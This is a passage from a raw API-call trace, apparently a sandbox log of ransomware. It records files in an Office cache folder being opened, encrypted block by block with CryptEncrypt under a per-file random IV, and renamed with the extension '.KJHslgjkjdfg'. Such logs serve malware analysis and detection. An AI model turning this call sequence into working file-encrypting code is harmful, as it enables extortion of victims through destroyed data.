CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0139.973] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.973] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0139.974] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1e66d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.974] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0139.974] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0139.974] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0139.979] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0139.982] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.982] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0139.983] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1e66d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.983] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0139.983] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0139.984] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0139.987] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0139.991] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.991] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0139.992] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1e66d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.992] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0139.992] CryptDestroyKey (hKey=0x2c6260) returned 1 [0139.992] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1e66d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.992] SetEndOfFile (hFile=0x124) returned 1 [0139.996] GetProcessHeap () returned 0x2a0000 [0139.996] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0139.996] GetProcessHeap () returned 0x2a0000 [0139.996] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0139.996] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi.kjhslgjkjdfg")) returned 1 [0140.043] CloseHandle (hObject=0x124) returned 1 [0140.043] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x87abdaa0, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x87abdaa0, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5cd2aa0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Office32WW.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0140.043] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0140.043] GetProcessHeap () returned 0x2a0000 [0140.043] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0140.044] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0140.044] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f518 | out: lpNewFilePointer=0x0) returned 1 [0140.044] WriteFile (in: hFile=0x124, lpBuffer=0x290f528*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f528*, lpNumberOfBytesWritten=0x290f4f8*=0xe, lpOverlapped=0x0) returned 1 [0140.046] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0140.046] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0140.046] GetProcessHeap () returned 0x2a0000 [0140.046] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0140.046] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40) returned 1 [0140.046] CryptDestroyKey (hKey=0x2c6260) returned 1 [0140.047] WriteFile (in: hFile=0x124, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f4f8*=0x40, lpOverlapped=0x0) returned 1 [0140.047] WriteFile (in: hFile=0x124, lpBuffer=0x290f500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f500*, lpNumberOfBytesWritten=0x290f4f8*=0x4, lpOverlapped=0x0) returned 1 [0140.047] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f8*=0x10, lpOverlapped=0x0) returned 1 [0140.047] WriteFile (in: hFile=0x124, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f4f8*=0x80, lpOverlapped=0x0) returned 1 [0140.047] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0140.047] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f8*=0x8, lpOverlapped=0x0) returned 1 [0140.047] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0140.047] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0140.047] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.047] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x10b2, lpNumberOfBytesRead=0x290f504, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f504*=0x10b2, lpOverlapped=0x0) returned 1 [0140.048] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x10c0, dwBufLen=0x10c0 | out: pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x10c0) returned 1 [0140.048] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.048] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4f8*=0x10c0, lpOverlapped=0x0) returned 1 [0140.049] CryptDestroyKey (hKey=0x2c6260) returned 1 [0140.049] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1194, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.049] SetEndOfFile (hFile=0x124) returned 1 [0140.051] GetProcessHeap () returned 0x2a0000 [0140.051] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0140.051] GetProcessHeap () returned 0x2a0000 [0140.052] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0140.052] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml.kjhslgjkjdfg")) returned 1 [0140.054] CloseHandle (hObject=0x124) returned 1 [0140.055] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe57f8e0, ftCreationTime.dwHighDateTime=0x1cbe1cb, ftLastAccessTime.dwLowDateTime=0xfe57f8e0, ftLastAccessTime.dwHighDateTime=0x1cbe1cb, ftLastWriteTime.dwLowDateTime=0xa8bafbc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ose.exe", cAlternateFileName="")) returned 1 [0140.055] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6644b620, ftCreationTime.dwHighDateTime=0x1cb04b2, ftLastAccessTime.dwLowDateTime=0x6644b620, ftLastAccessTime.dwHighDateTime=0x1cb04b2, ftLastWriteTime.dwLowDateTime=0xa81b8770, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x709768, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="osetup.dll", cAlternateFileName="")) returned 1 [0140.055] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8238e540, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x8238e540, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5ddcc70, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x228df5c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OWOW32WW.cab", cAlternateFileName="")) returned 1 [0140.055] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0140.057] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x290f508 | out: lpFileSize=0x290f508*=36233052) returned 1 [0140.057] GetProcessHeap () returned 0x2a0000 [0140.057] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0140.057] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0140.057] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.057] WriteFile (in: hFile=0x124, lpBuffer=0x290f528*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x290f528*, lpNumberOfBytesWritten=0x290f4f4*=0x4, lpOverlapped=0x0) returned 1 [0140.060] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4f8 | out: phKey=0x290f4f8*=0x2c6260) returned 1 [0140.060] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0140.060] GetProcessHeap () returned 0x2a0000 [0140.060] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0140.060] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f4d8*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f4d8*=0x40) returned 1 [0140.060] CryptDestroyKey (hKey=0x2c6260) returned 1 [0140.060] WriteFile (in: hFile=0x124, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f4f4*=0x40, lpOverlapped=0x0) returned 1 [0140.060] WriteFile (in: hFile=0x124, lpBuffer=0x290f4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x290f4fc*, lpNumberOfBytesWritten=0x290f4f4*=0x4, lpOverlapped=0x0) returned 1 [0140.061] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f4*=0x10, lpOverlapped=0x0) returned 1 [0140.061] WriteFile (in: hFile=0x124, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f4f4*=0x80, lpOverlapped=0x0) returned 1 [0140.067] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0140.067] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f4*=0x8, lpOverlapped=0x0) returned 1 [0140.067] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4f8 | out: phKey=0x290f4f8*=0x2c6260) returned 1 [0140.067] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0140.067] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0140.067] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0140.075] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0140.080] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.080] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0140.081] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x228e034, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.081] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0140.082] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0140.082] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0140.087] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0140.090] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.090] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0140.091] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x228e034, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.091] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0140.091] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x224df60, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0140.091] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0140.094] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0140.097] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x224df60, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.097] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0140.098] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x228e034, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.099] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0140.099] CryptDestroyKey (hKey=0x2c6260) returned 1 [0140.099] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x228e034, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.099] SetEndOfFile (hFile=0x124) returned 1 [0140.111] GetProcessHeap () returned 0x2a0000 [0140.111] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0140.111] GetProcessHeap () returned 0x2a0000 [0140.111] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0140.111] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab.kjhslgjkjdfg")) returned 1 [0140.112] CloseHandle (hObject=0x124) returned 1 [0140.112] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7bd91af0, ftCreationTime.dwHighDateTime=0x1cb07b2, ftLastAccessTime.dwLowDateTime=0x7bd91af0, ftLastAccessTime.dwHighDateTime=0x1cb07b2, ftLastWriteTime.dwLowDateTime=0xa8bafbc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PidGenX.dll", cAlternateFileName="")) returned 1 [0140.112] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2a2397e0, ftCreationTime.dwHighDateTime=0x1cbe19a, ftLastAccessTime.dwLowDateTime=0x2a2397e0, ftLastAccessTime.dwHighDateTime=0x1cbe19a, ftLastWriteTime.dwLowDateTime=0xa8bafbc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="PKEYCO~1.XRM")) returned 1 [0140.112] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0140.128] GetProcessHeap () returned 0x2a0000 [0140.128] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0140.128] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0140.128] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f518 | out: lpNewFilePointer=0x0) returned 1 [0140.128] WriteFile (in: hFile=0x124, lpBuffer=0x290f528*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f528*, lpNumberOfBytesWritten=0x290f4f8*=0x6, lpOverlapped=0x0) returned 1 [0140.130] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0140.130] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0140.130] GetProcessHeap () returned 0x2a0000 [0140.130] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x50) returned 0x2c5278 [0140.130] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c5278*, pdwDataLen=0x290f4e0*=0x50, dwBufLen=0x50 | out: pbData=0x2c5278*, pdwDataLen=0x290f4e0*=0x50) returned 1 [0140.130] CryptDestroyKey (hKey=0x2c6260) returned 1 [0140.130] WriteFile (in: hFile=0x124, lpBuffer=0x2c5278*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c5278*, lpNumberOfBytesWritten=0x290f4f8*=0x50, lpOverlapped=0x0) returned 1 [0140.131] WriteFile (in: hFile=0x124, lpBuffer=0x290f500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f500*, lpNumberOfBytesWritten=0x290f4f8*=0x4, lpOverlapped=0x0) 